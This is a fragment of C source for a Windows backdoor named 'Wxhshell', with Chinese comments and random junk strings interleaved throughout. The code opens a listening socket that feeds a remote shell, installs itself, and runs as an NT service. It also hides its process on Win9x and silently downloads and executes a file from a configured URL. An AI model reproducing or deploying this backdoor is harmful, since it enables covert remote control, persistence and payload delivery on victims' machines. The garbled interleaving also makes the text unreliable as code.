m9m]q&hx return 0; // 注册表启动 [m{uJdj\ } kK il]L "
H;iAv // 主模块 +Rb0:r>kU int StartWxhshell(LPSTR lpCmdLine) aIW W[xZ { v#o<.
Ig SOCKET wsl; 7(<z= F BOOL val=TRUE; _
ZC[h~9H int port=0; a~"<lzu|$ struct sockaddr_in door; _M9-n }~3 %KHT if(wscfg.ws_autoins) Install(); R8YA"(j!L h!UB#-
port=atoi(lpCmdLine); /ng+IC3 -|&5aH] if(port<=0) port=wscfg.ws_port; Fu6~8uDV{{ CxW-lU3G` WSADATA data; 7d"gRM; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >djTJ>dl_u Rr3<ln if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }ikJa setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SB\T
iH/ door.sin_family = AF_INET; %?~`'vYoi door.sin_addr.s_addr = inet_addr("127.0.0.1"); {'R\C5:D7 door.sin_port = htons(port); OJ Y_u[ 2Ed if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X__>r ?oJ closesocket(wsl); +ZxG<1& return 1; AB1,G|L }
oiY&O]} E^<.; if(listen(wsl,2) == INVALID_SOCKET) { \4r?=5v* closesocket(wsl); X`E3lgfqT return 1; 8!q$8]M } .<|.nK` 6 Wxhshell(wsl); 9Di@r!Db WSACleanup(); Lavm Q'n]+%YN return 0; !mtq?LV Rr0@F`"R } r:*0)UZlD MEZc/Ru-[ // 以NT服务方式启动 @5y ~A}Vd VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hJcN*2\: { x&PVsXdt5m DWORD status = 0; ,@*Srrw DWORD specificError = 0xfffffff; uY'77,G_J i9%cpPrg8 serviceStatus.dwServiceType = SERVICE_WIN32; S0uEz;cE serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5$C]$o} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @3@oaa/v serviceStatus.dwWin32ExitCode = 0; [J71aH serviceStatus.dwServiceSpecificExitCode = 0; 95%,
8t serviceStatus.dwCheckPoint = 0; aE'nW@YL. serviceStatus.dwWaitHint = 0; GDMg.w4Yk <R>%DD=v^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uh_2yw_ if (hServiceStatusHandle==0) return; X_nxC6[m% d#*n@@V4 status = GetLastError(); 4Ev#`i3~ if (status!=NO_ERROR) hR1n@/nh { @<W^/D1#L serviceStatus.dwCurrentState = SERVICE_STOPPED; !04zWYHo serviceStatus.dwCheckPoint = 0; y Ddi+ serviceStatus.dwWaitHint = 0; gE~]^B{ serviceStatus.dwWin32ExitCode = status; @|cfFT
W serviceStatus.dwServiceSpecificExitCode = specificError; KL}o%wfLy SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q1yj+)_ return; ]sf1+3 } aHvsgp] 3.^Tm+ C serviceStatus.dwCurrentState = SERVICE_RUNNING; '3MCb serviceStatus.dwCheckPoint = 0; B}YpIb]d serviceStatus.dwWaitHint = 0; ozr82 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
T.{sO` } 2/]74d8 cLpkgK&a // 处理NT服务事件,比如:启动、停止 &bO5+[ VOID WINAPI NTServiceHandler(DWORD fdwControl) lIlmXjL0 { ^KeJ=VT switch(fdwControl) ].C4RH { jg7WMH"` case SERVICE_CONTROL_STOP: }&{z-/;H serviceStatus.dwWin32ExitCode = 0; I3wv6xZ2 serviceStatus.dwCurrentState = SERVICE_STOPPED; w6 x{<d serviceStatus.dwCheckPoint = 0; m)aNuQvy:Z serviceStatus.dwWaitHint = 0; fEB>3hI { _Ka6! 9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); '"/Yk=EmlU } <7;AK!BH return; !PIpvx{aX case SERVICE_CONTROL_PAUSE: )GpH5N'EI serviceStatus.dwCurrentState = SERVICE_PAUSED; lwU$*?yv break; xc HG5bg| case SERVICE_CONTROL_CONTINUE: ojA i2uz serviceStatus.dwCurrentState = SERVICE_RUNNING; pDg_^| break; 8'Y7lOXS case SERVICE_CONTROL_INTERROGATE: _FRwaFVJ3 break; And|T 6u }; }>|M6.n " SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3WhF } } 9qbF+b ?pAO?5Z:} // 标准应用程序主函数 Vif0z*\e{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L
=kc^dU { 8a;I,DK=j w>q:&Q // 获取操作系统版本 qf7oG0 OsIsNt=GetOsVer(); .1&~@e%=- GetModuleFileName(NULL,ExeFile,MAX_PATH); }zkMo? *yx&4)Or // 从命令行安装 HZHzjrx if(strpbrk(lpCmdLine,"iI")) Install(); n4YedjHSN y[W<vb+F // 下载执行文件 \
M_}V[1+ if(wscfg.ws_downexe) { *61+Fzr if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q*^F"D:?k WinExec(wscfg.ws_filenam,SW_HIDE); 4%3R}-'mh } S-8wL%r 2KUm(B.I if(!OsIsNt) { @DYxDap{ // 如果时win9x,隐藏进程并且设置为注册表启动 EPZ^I) HideProc(); FccT@,.F StartWxhshell(lpCmdLine); .[E"Kb}= } &s|a\!>l else |"Rl_+d7D if(StartFromService()) b"t<B2N // 以服务方式启动 H)Zb _>iV StartServiceCtrlDispatcher(DispatchTable); FHu
-'; else c~1X/,biA // 普通方式启动 nS53mLU) StartWxhshell(lpCmdLine); *,UD&N_)*6 i"h '^6M1 return 0; :UyNa0$l:" }
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